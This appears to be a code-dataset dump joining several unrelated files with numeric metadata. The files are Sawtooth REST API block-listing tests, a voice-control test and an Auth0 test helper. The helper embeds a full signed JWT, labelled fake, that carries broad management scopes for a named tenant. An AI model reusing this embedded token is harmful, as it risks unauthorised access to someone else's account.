# Copyright 2017 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ------------------------------------------------------------------------------ from aiohttp.test_utils import unittest_run_loop from components import Mocks, BaseApiTest from sawtooth_rest_api.protobuf.validator_pb2 import Message from sawtooth_rest_api.protobuf import client_block_pb2 ID_A = 'a' * 128 ID_B = 'b' * 128 ID_C = 'c' * 128 ID_D = 'd' * 128 DEFAULT_LIMIT = 100 class BlockListTests(BaseApiTest): async def get_application(self): self.set_status_and_connection( Message.CLIENT_BLOCK_LIST_REQUEST, client_block_pb2.ClientBlockListRequest, client_block_pb2.ClientBlockListResponse) handlers = self.build_handlers(self.loop, self.connection) return self.build_app(self.loop, '/blocks', handlers.list_blocks) @unittest_run_loop async def test_block_list(self): """Verifies a GET /blocks without parameters works properly. It will receive a Protobuf response with: - a head id of ID_C - a paging reponse with start of ID_C and limit of 100 - three blocks with ids ID_C, ID_B, and ID_A It should send a Protobuf request with: - empty paging controls It should send back a JSON response with: - a status of 200 - a head property of ID_C - a link property that ends in '/blocks?head={}&start={}&limit=100'.format(ID_C, ID_C)) - a paging property that matches the paging response - a data property that is a list of 3 dicts - and those dicts are full blocks with ids ID_C, ID_B, and ID_A """ paging = Mocks.make_paging_response("", ID_C, DEFAULT_LIMIT) blocks = Mocks.make_blocks(ID_C, ID_B, ID_A) self.connection.preset_response( head_id=ID_C, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks') controls = Mocks.make_paging_controls() self.connection.assert_valid_request_sent(paging=controls) self.assert_has_valid_head(response, ID_C) self.assert_has_valid_link( response, '/blocks?head={}&start={}&limit=100'.format(ID_C, ID_C)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 3) self.assert_blocks_well_formed(response['data'], ID_C, ID_B, ID_A) @unittest_run_loop async def test_block_list_with_validator_error(self): """Verifies a GET /blocks with a validator error breaks properly. It will receive a Protobuf response with: - a status of INTERNAL_ERROR It should send back a JSON response with: - a status of 500 - an error property with a code of 10 """ self.connection.preset_response(self.status.INTERNAL_ERROR) response = await self.get_assert_status('/blocks', 500) self.assert_has_valid_error(response, 10) @unittest_run_loop async def test_block_list_with_no_genesis(self): """Verifies a GET /blocks with validator not ready breaks properly. It will receive a Protobuf response with: - a status of NOT_READY It should send back a JSON response with: - a status of 503 - an error property with a code of 15 """ self.connection.preset_response(self.status.NOT_READY) response = await self.get_assert_status('/blocks', 503) self.assert_has_valid_error(response, 15) @unittest_run_loop async def test_block_list_with_head(self): """Verifies a GET /blocks with a head parameter works properly. It will receive a Protobuf response with: - a head id of ID_C - an empty paging response - three blocks with ids ID_B and ID_A It should send a Protobuf request with: - a head_id property of ID_B - empty paging controls It should send back a JSON response with: - a status of 200 - a head property of ID_B - a link property that ends in '/blocks?head={}&start={}&limit=100'.format(ID_B, ID_B)) - a paging property that matches the paging response - a data property that is a list of 2 dicts - and those dicts are full blocks with ids ID_B and ID_A """ paging = Mocks.make_paging_response("", ID_B, DEFAULT_LIMIT) blocks = Mocks.make_blocks(ID_B, ID_A) self.connection.preset_response( head_id=ID_B, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?head={}'.format(ID_B)) controls = Mocks.make_paging_controls() self.connection.assert_valid_request_sent( head_id=ID_B, paging=controls) self.assert_has_valid_head(response, ID_B) self.assert_has_valid_link( response, '/blocks?head={}&start={}&limit=100'.format(ID_B, ID_B)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 2) self.assert_blocks_well_formed(response['data'], ID_B, ID_A) @unittest_run_loop async def test_block_list_with_bad_head(self): """Verifies a GET /blocks with a bad head breaks properly. It will receive a Protobuf response with: - a status of NO_ROOT It should send back a JSON response with: - a status of 404 - an error property with a code of 50 """ self.connection.preset_response(self.status.NO_ROOT) response = await self.get_assert_status('/blocks?head={}'.format(ID_D), 404) self.assert_has_valid_error(response, 50) @unittest_run_loop async def test_block_list_with_ids(self): """Verifies GET /blocks with an id filter works properly. It will receive a Protobuf response with: - a head id of ID_C - an empty paging response - two blocks with ids ID_A and ID_C It should send a Protobuf request with: - a block_ids property of [ID_A, ID_C] - empty paging controls It should send back a JSON response with: - a response status of 200 - a head property of ID_C, the latest - a link property that ends in '/blocks?head={}&start={}&limit=100&id={},{}' .format(ID_C, ID_C, ID_A, ID_C)) - a paging property that matches the paging response - a data property that is a list of 2 dicts - and those dicts are full blocks with ids ID_A and ID_C """ paging = Mocks.make_paging_response("", ID_C, DEFAULT_LIMIT) blocks = Mocks.make_blocks(ID_A, ID_C) self.connection.preset_response( head_id=ID_C, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?id={},{}'.format( ID_A, ID_C)) controls = Mocks.make_paging_controls() self.connection.assert_valid_request_sent( block_ids=[ID_A, ID_C], paging=controls) self.assert_has_valid_head(response, ID_C) self.assert_has_valid_link( response, '/blocks?head={}&start={}&limit=100&id={},{}'.format( ID_C, ID_C, ID_A, ID_C)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 2) self.assert_blocks_well_formed(response['data'], ID_A, ID_C) @unittest_run_loop async def test_block_list_with_bad_ids(self): """Verifies GET /blocks with a bad id filter breaks properly. It will receive a Protobuf response with: - a status of NO_RESOURCE - a head property of ID_C It should send back a JSON response with: - a response status of 200 - a head property of ID_C, the latest - a link property that ends in '/blocks?head={}&start={}&limit=100&id={},{}' .format(ID_C, ID_C, ID_B, ID_D)) - a data property that is an empty list """ paging = Mocks.make_paging_response("", ID_C, DEFAULT_LIMIT) self.connection.preset_response( self.status.NO_RESOURCE, head_id=ID_C, paging=paging) response = await self.get_assert_200('/blocks?id={},{}'.format( ID_B, ID_D)) self.assert_has_valid_head(response, ID_C) self.assert_has_valid_link( response, '/blocks?head={}&start={}&limit=100&id={},{}'.format( ID_C, ID_C, ID_B, ID_D)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 0) @unittest_run_loop async def test_block_list_with_head_and_ids(self): """Verifies GET /blocks with head and id parameters work properly. It will receive a Protobuf response with: - a head id of ID_B - an empty paging response - one block with an id of ID_A It should send a Protobuf request with: - a head_id property of ID_B - a block_ids property of [ID_A] - empty paging controls It should send back a JSON response with: - a response status of 200 - a head property of ID_B - a link property that ends in '/blocks?head={}&id={}'.format(ID_B, ID_A) - a paging property that matches the paging response - a data property that is a list of 1 dict - and that dict is a full block with an id of ID_A """ paging = Mocks.make_paging_response("", ID_B, DEFAULT_LIMIT) blocks = Mocks.make_blocks(ID_A) self.connection.preset_response( head_id=ID_B, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?id={}&head={}'.format( ID_A, ID_B)) self.connection.assert_valid_request_sent( head_id=ID_B, block_ids=[ID_A], paging=Mocks.make_paging_controls()) self.assert_has_valid_head(response, ID_B) self.assert_has_valid_link( response, '/blocks?head={}&start={}&limit=100&id={}'.format( ID_B, ID_B, ID_A)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 1) self.assert_blocks_well_formed(response['data'], ID_A) @unittest_run_loop async def test_block_list_paginated(self): """Verifies GET /blocks paginated by min id works properly. It will receive a Protobuf response with: - a head id of ID_D - a paging response with a next of '0x0002', start of 0x0003 and limit of 1 - one block with the id ID_C It should send a Protobuf request with: - paging controls with a limit of 1, and a start_id of start='0x0003' It should send back a JSON response with: - a response status of 200 - a head property of ID_D - a link property that ends in '/blocks?head={}&start=1&limit=1'.format(ID_D) - paging that matches the response, with next and previous links - a data property that is a list of 1 dict - and that dict is a full block with the id ID_C """ # Block list only returns a next id paging = Mocks.make_paging_response('0x0002', "0x0003", 1) blocks = Mocks.make_blocks(ID_C) self.connection.preset_response( head_id=ID_D, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?start=0x0003&limit=1') controls = Mocks.make_paging_controls(1, start='0x0003') self.connection.assert_valid_request_sent(paging=controls) self.assert_has_valid_head(response, ID_D) self.assert_has_valid_link( response, '/blocks?head={}&start=0x0003&limit=1'.format(ID_D)) self.assert_has_valid_paging( response, paging, '/blocks?head={}&start=0x0002&limit=1'.format(ID_D)) self.assert_has_valid_data_list(response, 1) self.assert_blocks_well_formed(response['data'], ID_C) @unittest_run_loop async def test_block_list_with_zero_limit(self): """Verifies a GET /blocks with a limit of zero breaks properly. It should send back a JSON response with: - a response status of 400 - an error property with a code of 53 """ response = await self.get_assert_status('/blocks?start=2&limit=0', 400) self.assert_has_valid_error(response, 53) @unittest_run_loop async def test_block_list_with_bad_paging(self): """Verifies a GET /blocks with a bad paging breaks properly. It will receive a Protobuf response with: - a status of INVALID_PAGING It should send back a JSON response with: - a response status of 400 - an error property with a code of 54 """ self.connection.preset_response(self.status.INVALID_PAGING) response = await self.get_assert_status('/blocks?start=-1', 400) self.assert_has_valid_error(response, 54) @unittest_run_loop async def test_block_list_paginated_with_just_limit(self): """Verifies GET /blocks paginated just by limit works properly. It will receive a Protobuf response with: - a head id of ID_D - a paging response with a next of 0x0002, start of 0x004 and limit of 2 - two blocks with the ids ID_D and ID_C It should send a Protobuf request with: - paging controls with a limit of 2 It should send back a JSON response with: - a response status of 200 - a head property of ID_D - a link property that ends in '/blocks?head={}&start=0x0004&limit=2'.format(ID_D) - paging that matches the response with a next link - a data property that is a list of 2 dicts - and those dicts are full blocks with ids ID_D and ID_C """ # Block list only returns a next id paging = Mocks.make_paging_response('0x0002', '0x0004', 2) blocks = Mocks.make_blocks(ID_D, ID_C) self.connection.preset_response( head_id=ID_D, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?limit=2') controls = Mocks.make_paging_controls(2) self.connection.assert_valid_request_sent(paging=controls) self.assert_has_valid_head(response, ID_D) self.assert_has_valid_link( response, '/blocks?head={}&start=0x0004&limit=2'.format(ID_D)) self.assert_has_valid_paging( response, paging, '/blocks?head={}&start=0x0002&limit=2'.format(ID_D)) self.assert_has_valid_data_list(response, 2) self.assert_blocks_well_formed(response['data'], ID_D, ID_C) @unittest_run_loop async def test_block_list_paginated_without_limit(self): """Verifies GET /blocks paginated without limit works properly. It will receive a Protobuf response with: - a head id of ID_D - a paging response with start of 0x0002 and limit of 100 - two blocks with the ids ID_B and ID_A It should send a Protobuf request with: - paging controls with a start of 2 It should send back a JSON response with: - a response status of 200 - a head property of ID_D - a link property that ends in '/blocks?head={}&start=0x0002&limit=100'.format(ID_D) - paging that matches the response, with a previous link - a data property that is a list of 2 dicts - and those dicts are full blocks with ids ID_D and ID_C """ paging = Mocks.make_paging_response("", "0x0002", DEFAULT_LIMIT) blocks = Mocks.make_blocks(ID_B, ID_A) self.connection.preset_response( head_id=ID_D, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?start=0x0002') controls = Mocks.make_paging_controls(None, start="0x0002") self.connection.assert_valid_request_sent(paging=controls) self.assert_has_valid_head(response, ID_D) self.assert_has_valid_link( response, '/blocks?head={}&start=0x0002&limit=100'.format(ID_D)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 2) self.assert_blocks_well_formed(response['data'], ID_B, ID_A) @unittest_run_loop async def test_block_list_paginated_by_start_id(self): """Verifies GET /blocks paginated by a start id works properly. It will receive a Protobuf response with: - a head id of ID_D - a paging response with start of 0x0003 and limit of 5 - three blocks with the ids ID_C, ID_B and ID_A It should send a Protobuf request with: - paging controls with a limit of 5, and a startof ID_C It should send back a JSON response with: - a response status of 200 - a head property of ID_D - a link property that ends in '/blocks?head={}&start=0x0003&limit=5'.format(ID_C) - paging that matches the response, with a previous link - a data property that is a list of 3 dicts - and those dicts are full blocks with ids ID_C, ID_B, and ID_A """ paging = Mocks.make_paging_response("", "0x0003", 5) blocks = Mocks.make_blocks(ID_C, ID_B, ID_A) self.connection.preset_response( head_id=ID_D, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?start=0x0003&limit=5') controls = Mocks.make_paging_controls(5, start="0x0003") self.connection.assert_valid_request_sent(paging=controls) self.assert_has_valid_head(response, ID_D) self.assert_has_valid_link( response, '/blocks?head={}&start=0x0003&limit=5'.format(ID_D)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 3) self.assert_blocks_well_formed(response['data'], ID_C, ID_B, ID_A) @unittest_run_loop async def test_block_list_sorted_in_reverse(self): """Verifies a GET /blocks can send proper sort parameters. It will receive a Protobuf response with: - a head id of ID_C - a paging response with start ID_C and limit of 100 - three blocks with ids ID_C, ID_B, and ID_A It should send a Protobuf request with: - empty paging controls - sort controls with a key of 'header_signature' that is reversed It should send back a JSON response with: - a status of 200 - a head property of ID_C - a link property ending in '/blocks?head={}&start={}&limit=100&reverse'.format(ID_C, ID_C) - a paging property that matches the paging response - a data property that is a list of 3 dicts - and those dicts are full blocks with ids ID_C, ID_B, and ID_A """ paging = Mocks.make_paging_response("", ID_C, DEFAULT_LIMIT) blocks = Mocks.make_blocks(ID_C, ID_B, ID_A) self.connection.preset_response( head_id=ID_C, paging=paging, blocks=blocks) response = await self.get_assert_200('/blocks?reverse') page_controls = Mocks.make_paging_controls() sorting = Mocks.make_sort_controls('block_num', reverse=True) self.connection.assert_valid_request_sent( paging=page_controls, sorting=sorting) self.assert_has_valid_head(response, ID_C) self.assert_has_valid_link( response, '/blocks?head={}&start={}&limit=100&reverse'.format( ID_C, ID_C)) self.assert_has_valid_paging(response, paging) self.assert_has_valid_data_list(response, 3) self.assert_blocks_well_formed(response['data'], ID_C, ID_B, ID_A) class BlockGetTests(BaseApiTest): async def get_application(self): self.set_status_and_connection( Message.CLIENT_BLOCK_GET_BY_ID_REQUEST, client_block_pb2.ClientBlockGetByIdRequest, client_block_pb2.ClientBlockGetResponse) handlers = self.build_handlers(self.loop, self.connection) return self.build_app( self.loop, '/blocks/{block_id}', handlers.fetch_block) @unittest_run_loop async def test_block_get(self): """Verifies a GET /blocks/{block_id} works properly. It should send a Protobuf request with: - a block_id property of ID_B It will receive a Protobuf response with: - a block with an id of ID_B It should send back a JSON response with: - a response status of 200 - no head property - a link property that ends in '/blocks/{}'.format(ID_B) - a data property that is a full block with an id of ID_A """ self.connection.preset_response(block=Mocks.make_blocks(ID_B)[0]) response = await self.get_assert_200('/blocks/{}'.format(ID_B)) self.connection.assert_valid_request_sent(block_id=ID_B) self.assertNotIn('head', response) self.assert_has_valid_link(response, '/blocks/{}'.format(ID_B)) self.assertIn('data', response) self.assert_blocks_well_formed(response['data'], ID_B) @unittest_run_loop async def test_block_get_with_validator_error(self): """Verifies GET /blocks/{block_id} w/ validator error breaks properly. It will receive a Protobuf response with: - a status of INTERNAL_ERROR It should send back a JSON response with: - a status of 500 - an error property with a code of 10 """ self.connection.preset_response(self.status.INTERNAL_ERROR) response = await self.get_assert_status('/blocks/{}'.format(ID_B), 500) self.assert_has_valid_error(response, 10) @unittest_run_loop async def test_block_get_with_bad_id(self): """Verifies a GET /blocks/{block_id} with unfound id breaks properly. It will receive a Protobuf response with: - a status of NO_RESOURCE It should send back a JSON response with: - a response status of 404 - an error property with a code of 70 """ self.connection.preset_response(self.status.NO_RESOURCE) response = await self.get_assert_status('/blocks/{}'.format(ID_D), 404) self.assert_has_valid_error(response, 70)
40.979167
80
0.636714
3,320
23,604
4.30753
0.065964
0.015104
0.043633
0.060415
0.87889
0.847283
0.805958
0.769107
0.733515
0.703937
0
0.023561
0.280758
23,604
575
81
41.050435
0.818814
0.029698
0
0.515021
0
0
0.071824
0.045063
0
0
0.008785
0
0.377682
1
0
false
0
0.017167
0
0.034335
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
df05100efc98c8f5eb5d9059cf49c1fef77bc7fc
921
py
Python
test/test_voice_control_loop.py
TimKam/crazyflie-on-voice
fca6c0ba9aed38a133d708410ff0040b85701dd0
[ "MIT" ]
4
2018-05-21T12:18:04.000Z
2021-02-27T14:15:12.000Z
test/test_voice_control_loop.py
TimKam/crazyflie-on-voice
fca6c0ba9aed38a133d708410ff0040b85701dd0
[ "MIT" ]
null
null
null
test/test_voice_control_loop.py
TimKam/crazyflie-on-voice
fca6c0ba9aed38a133d708410ff0040b85701dd0
[ "MIT" ]
null
null
null
from src.voice_control_loop import generate_protocol_data, get_best_direction_match def test_generate_protocol_data(): assert generate_protocol_data('stop', None) == {'command': 'stop'} assert generate_protocol_data('start', None) == {'command': 'start'} assert generate_protocol_data('up', 100) == {'distance': [0, 0, 1]} assert generate_protocol_data('down', 200) == {'distance': [0, 0, -2]} assert generate_protocol_data('left', 50) == {'distance': [-0.5, 0, 0]} assert generate_protocol_data('right', 20) == {'distance': [0.2, 0, 0]} assert generate_protocol_data('forward', 10) == {'distance': [0, 0.1, 0]} assert generate_protocol_data('back', 40) == {'distance': [0, -0.4, 0]} def test_get_best_direction_match(): assert get_best_direction_match('nonsense') is None assert get_best_direction_match('app') == 'up' assert get_best_direction_match('town') == 'down'
41.863636
83
0.684039
126
921
4.690476
0.333333
0.270728
0.338409
0.351946
0.277496
0.094755
0
0
0
0
0
0.045627
0.143322
921
21
84
43.857143
0.703422
0
0
0
1
0
0.138344
0
0
0
0
0
0.785714
1
0.142857
true
0
0.071429
0
0.214286
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
1
0
0
1
0
0
0
0
0
0
6
df0550b3b32e55d65dd2507e15841fb002eb558d
38
py
Python
pointneighbor/neighbor/coo3/__init__.py
AkihideHayashi/pointneighbor
7edc7eda753b0fe23ceae2c1b8e42ae021c7b934
[ "MIT" ]
null
null
null
pointneighbor/neighbor/coo3/__init__.py
AkihideHayashi/pointneighbor
7edc7eda753b0fe23ceae2c1b8e42ae021c7b934
[ "MIT" ]
null
null
null
pointneighbor/neighbor/coo3/__init__.py
AkihideHayashi/pointneighbor
7edc7eda753b0fe23ceae2c1b8e42ae021c7b934
[ "MIT" ]
null
null
null
# flake8: noqa from .coo3 import coo3
12.666667
22
0.736842
6
38
4.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0.096774
0.184211
38
2
23
19
0.806452
0.315789
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
df14a0e78f04ccb3ab78baf9e609d81e2d85061c
4,980
py
Python
custom-universal-login/tests/scripts/commmands/helper.py
willianantunes/auth0-custom-universal-login-with-sample-app
860a404ca61968aed1a0d1f402891ba19291d8c7
[ "MIT" ]
null
null
null
custom-universal-login/tests/scripts/commmands/helper.py
willianantunes/auth0-custom-universal-login-with-sample-app
860a404ca61968aed1a0d1f402891ba19291d8c7
[ "MIT" ]
null
null
null
custom-universal-login/tests/scripts/commmands/helper.py
willianantunes/auth0-custom-universal-login-with-sample-app
860a404ca61968aed1a0d1f402891ba19291d8c7
[ "MIT" ]
null
null
null
import unittest import boto3 from scripts.commands import settings class BaseTestCase(unittest.TestCase): def setUp(self) -> None: self.fake_access_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImZhWVp3X0NFSTBJUnotU2FHOWJoaSJ9.eyJpc3MiOiJodHRwczovL2FudHVuZXMudXMuYXV0aDAuY29tLyIsInN1YiI6IndOSWlpZ0l3TlBFSGw0emtTeXJ3SzFsZXFXUWdKMGpQQGNsaWVudHMiLCJhdWQiOiJodHRwczovL2FudHVuZXMudXMuYXV0aDAuY29tL2FwaS92Mi8iLCJpYXQiOjE2NDAyODkxODUsImV4cCI6MTY0MDM3NTU4NSwiYXpwIjoid05JaWlnSXdOUEVIbDR6a1N5cndLMWxlcVdRZ0owalAiLCJzY29wZSI6InJlYWQ6Y2xpZW50X2dyYW50cyBjcmVhdGU6Y2xpZW50X2dyYW50cyBkZWxldGU6Y2xpZW50X2dyYW50cyB1cGRhdGU6Y2xpZW50X2dyYW50cyByZWFkOnVzZXJzIHVwZGF0ZTp1c2VycyBkZWxldGU6dXNlcnMgY3JlYXRlOnVzZXJzIHJlYWQ6dXNlcnNfYXBwX21ldGFkYXRhIHVwZGF0ZTp1c2Vyc19hcHBfbWV0YWRhdGEgZGVsZXRlOnVzZXJzX2FwcF9tZXRhZGF0YSBjcmVhdGU6dXNlcnNfYXBwX21ldGFkYXRhIHJlYWQ6dXNlcl9jdXN0b21fYmxvY2tzIGNyZWF0ZTp1c2VyX2N1c3RvbV9ibG9ja3MgZGVsZXRlOnVzZXJfY3VzdG9tX2Jsb2NrcyBjcmVhdGU6dXNlcl90aWNrZXRzIHJlYWQ6Y2xpZW50cyB1cGRhdGU6Y2xpZW50cyBkZWxldGU6Y2xpZW50cyBjcmVhdGU6Y2xpZW50cyByZWFkOmNsaWVudF9rZXlzIHVwZGF0ZTpjbGllbnRfa2V5cyBkZWxldGU6Y2xpZW50X2tleXMgY3JlYXRlOmNsaWVudF9rZXlzIHJlYWQ6Y29ubmVjdGlvbnMgdXBkYXRlOmNvbm5lY3Rpb25zIGRlbGV0ZTpjb25uZWN0aW9ucyBjcmVhdGU6Y29ubmVjdGlvbnMgcmVhZDpyZXNvdXJjZV9zZXJ2ZXJzIHVwZGF0ZTpyZXNvdXJjZV9zZXJ2ZXJzIGRlbGV0ZTpyZXNvdXJjZV9zZXJ2ZXJzIGNyZWF0ZTpyZXNvdXJjZV9zZXJ2ZXJzIHJlYWQ6ZGV2aWNlX2NyZWRlbnRpYWxzIHVwZGF0ZTpkZXZpY2VfY3JlZGVudGlhbHMgZGVsZXRlOmRldmljZV9jcmVkZW50aWFscyBjcmVhdGU6ZGV2aWNlX2NyZWRlbnRpYWxzIHJlYWQ6cnVsZXMgdXBkYXRlOnJ1bGVzIGRlbGV0ZTpydWxlcyBjcmVhdGU6cnVsZXMgcmVhZDpydWxlc19jb25maWdzIHVwZGF0ZTpydWxlc19jb25maWdzIGRlbGV0ZTpydWxlc19jb25maWdzIHJlYWQ6aG9va3MgdXBkYXRlOmhvb2tzIGRlbGV0ZTpob29rcyBjcmVhdGU6aG9va3MgcmVhZDphY3Rpb25zIHVwZGF0ZTphY3Rpb25zIGRlbGV0ZTphY3Rpb25zIGNyZWF0ZTphY3Rpb25zIHJlYWQ6ZW1haWxfcHJvdmlkZXIgdXBkYXRlOmVtYWlsX3Byb3ZpZGVyIGRlbGV0ZTplbWFpbF9wcm92aWRlciBjcmVhdGU6ZW1haWxfcHJvdmlkZXIgYmxhY2tsaXN0OnRva2VucyByZWFkOnN0YXRzIHJlYWQ6aW5zaWdodHMgcmVhZDp0ZW5hbnRfc2V0dGluZ3MgdXBkYXRlOnRlbmFudF9zZXR0aW5ncyByZWFkOmxvZ3MgcmVhZDpsb2dzX3VzZXJzIHJlYWQ6c2hpZWxkcyBjcmVhdGU6c2hpZWxkcyB1cGRhdGU6c2hpZWxkcyBkZWxldGU6c2hpZWxkcyByZWFkOmFub21hbHlfYmxvY2tzIGRlbGV0ZTphbm9tYWx5X2Jsb2NrcyB1cGRhdGU6dHJpZ2dlcnMgcmVhZDp0cmlnZ2VycyByZWFkOmdyYW50cyBkZWxldGU6Z3JhbnRzIHJlYWQ6Z3VhcmRpYW5fZmFjdG9ycyB1cGRhdGU6Z3VhcmRpYW5fZmFjdG9ycyByZWFkOmd1YXJkaWFuX2Vucm9sbG1lbnRzIGRlbGV0ZTpndWFyZGlhbl9lbnJvbGxtZW50cyBjcmVhdGU6Z3VhcmRpYW5fZW5yb2xsbWVudF90aWNrZXRzIHJlYWQ6dXNlcl9pZHBfdG9rZW5zIGNyZWF0ZTpwYXNzd29yZHNfY2hlY2tpbmdfam9iIGRlbGV0ZTpwYXNzd29yZHNfY2hlY2tpbmdfam9iIHJlYWQ6Y3VzdG9tX2RvbWFpbnMgZGVsZXRlOmN1c3RvbV9kb21haW5zIGNyZWF0ZTpjdXN0b21fZG9tYWlucyB1cGRhdGU6Y3VzdG9tX2RvbWFpbnMgcmVhZDplbWFpbF90ZW1wbGF0ZXMgY3JlYXRlOmVtYWlsX3RlbXBsYXRlcyB1cGRhdGU6ZW1haWxfdGVtcGxhdGVzIHJlYWQ6bWZhX3BvbGljaWVzIHVwZGF0ZTptZmFfcG9saWNpZXMgcmVhZDpyb2xlcyBjcmVhdGU6cm9sZXMgZGVsZXRlOnJvbGVzIHVwZGF0ZTpyb2xlcyByZWFkOnByb21wdHMgdXBkYXRlOnByb21wdHMgcmVhZDpicmFuZGluZyB1cGRhdGU6YnJhbmRpbmcgZGVsZXRlOmJyYW5kaW5nIHJlYWQ6bG9nX3N0cmVhbXMgY3JlYXRlOmxvZ19zdHJlYW1zIGRlbGV0ZTpsb2dfc3RyZWFtcyB1cGRhdGU6bG9nX3N0cmVhbXMgY3JlYXRlOnNpZ25pbmdfa2V5cyByZWFkOnNpZ25pbmdfa2V5cyB1cGRhdGU6c2lnbmluZ19rZXlzIHJlYWQ6bGltaXRzIHVwZGF0ZTpsaW1pdHMgY3JlYXRlOnJvbGVfbWVtYmVycyByZWFkOnJvbGVfbWVtYmVycyBkZWxldGU6cm9sZV9tZW1iZXJzIHJlYWQ6ZW50aXRsZW1lbnRzIHJlYWQ6YXR0YWNrX3Byb3RlY3Rpb24gdXBkYXRlOmF0dGFja19wcm90ZWN0aW9uIHJlYWQ6b3JnYW5pemF0aW9ucyB1cGRhdGU6b3JnYW5pemF0aW9ucyBjcmVhdGU6b3JnYW5pemF0aW9ucyBkZWxldGU6b3JnYW5pemF0aW9ucyBjcmVhdGU6b3JnYW5pemF0aW9uX21lbWJlcnMgcmVhZDpvcmdhbml6YXRpb25fbWVtYmVycyBkZWxldGU6b3JnYW5pemF0aW9uX21lbWJlcnMgY3JlYXRlOm9yZ2FuaXphdGlvbl9jb25uZWN0aW9ucyByZWFkOm9yZ2FuaXphdGlvbl9jb25uZWN0aW9ucyB1cGRhdGU6b3JnYW5pemF0aW9uX2Nvbm5lY3Rpb25zIGRlbGV0ZTpvcmdhbml6YXRpb25fY29ubmVjdGlvbnMgY3JlYXRlOm9yZ2FuaXphdGlvbl9tZW1iZXJfcm9sZXMgcmVhZDpvcmdhbml6YXRpb25fbWVtYmVyX3JvbGVzIGRlbGV0ZTpvcmdhbml6YXRpb25fbWVtYmVyX3JvbGVzIGNyZWF0ZTpvcmdhbml6YXRpb25faW52aXRhdGlvbnMgcmVhZDpvcmdhbml6YXRpb25faW52aXRhdGlvbnMgZGVsZXRlOm9yZ2FuaXphdGlvbl9pbnZpdGF0aW9ucyIsImd0eSI6ImNsaWVudC1jcmVkZW50aWFscyJ9.KuHrgh8ydK2n9ilokiZpfGn84PVlEM8XWDex13D8wcx6bYZfN3J63kG2TBgENzbH5m4zoh4A1IYfMZ8bE863NQWnLfKJnthR1yOPtwRTNwztTUsQ8WZ0ALB8sFRacuwhrKlTu7xVCl3bp73zguo4tjvA-OBnDxJuNWqT844tu0O14OjglWqp9OovoZKSt_syejWlvXxmdXDyZhFR2f8WR2MGORGNkKK0Pnnp3r_fsR3ioyHYgJhHtFwhsbOgux-7JaH6Ld6CM_3z732IUXmLwGqnmIE7T_79hOKhusIR2xf9yw_034t_ZKhSfbQB1bMsg_buSV-dQrx5NG9u2YHDWg" self.bucket = None self.bucket_name = settings.BUCKET_NAME self.domain = settings.AUTH0_DOMAIN self.all_applications_client_id = settings.ALL_APPLICATIONS_CLIENT_ID self.s3 = boto3.resource( "s3", region_name=settings.AWS_S3_REGION, aws_access_key_id=settings.AWS_SERVICE_ACCOUNT_ACCESS_KEY, aws_secret_access_key=settings.AWS_SERVICE_ACCOUNT_ACCESS_SECRET, ) def tearDown(self) -> None: if self.bucket: self.bucket.objects.all().delete() self.bucket.delete()
191.538462
4,247
0.947791
104
4,980
45.048077
0.480769
0.010672
0.008965
0.009819
0.013234
0
0
0
0
0
0
0.123903
0.038956
4,980
25
4,248
199.2
0.854994
0
0
0
0
0
0.846185
0.845783
0
1
0
0
0
1
0.1
false
0
0.15
0
0.3
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
6
df243c03a79b9deaeb275d4ec60408948cec7810
35
py
Python
createOnnx/__init__.py
tangyanf/createonnxmodel
0697d50a999729decb02bafa3319a7813065b290
[ "Apache-2.0" ]
null
null
null
createOnnx/__init__.py
tangyanf/createonnxmodel
0697d50a999729decb02bafa3319a7813065b290
[ "Apache-2.0" ]
null
null
null
createOnnx/__init__.py
tangyanf/createonnxmodel
0697d50a999729decb02bafa3319a7813065b290
[ "Apache-2.0" ]
null
null
null
from createOnnx import convertTool
17.5
34
0.885714
4
35
7.75
1
0
0
0
0
0
0
0
0
0
0
0
0.114286
35
1
35
35
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
df383776ed202e007c3df0fac320bca49b5ce9e5
22
py
Python
cdshealpix/ring/__init__.py
cds-astro/cds-healpix-python
bc02f2e7ccad1d55f3a5e4caac689d8cc29eadeb
[ "BSD-3-Clause" ]
3
2019-01-30T13:34:51.000Z
2020-11-11T07:31:12.000Z
cdshealpix/ring/__init__.py
cds-astro/cds-healpix-python
bc02f2e7ccad1d55f3a5e4caac689d8cc29eadeb
[ "BSD-3-Clause" ]
9
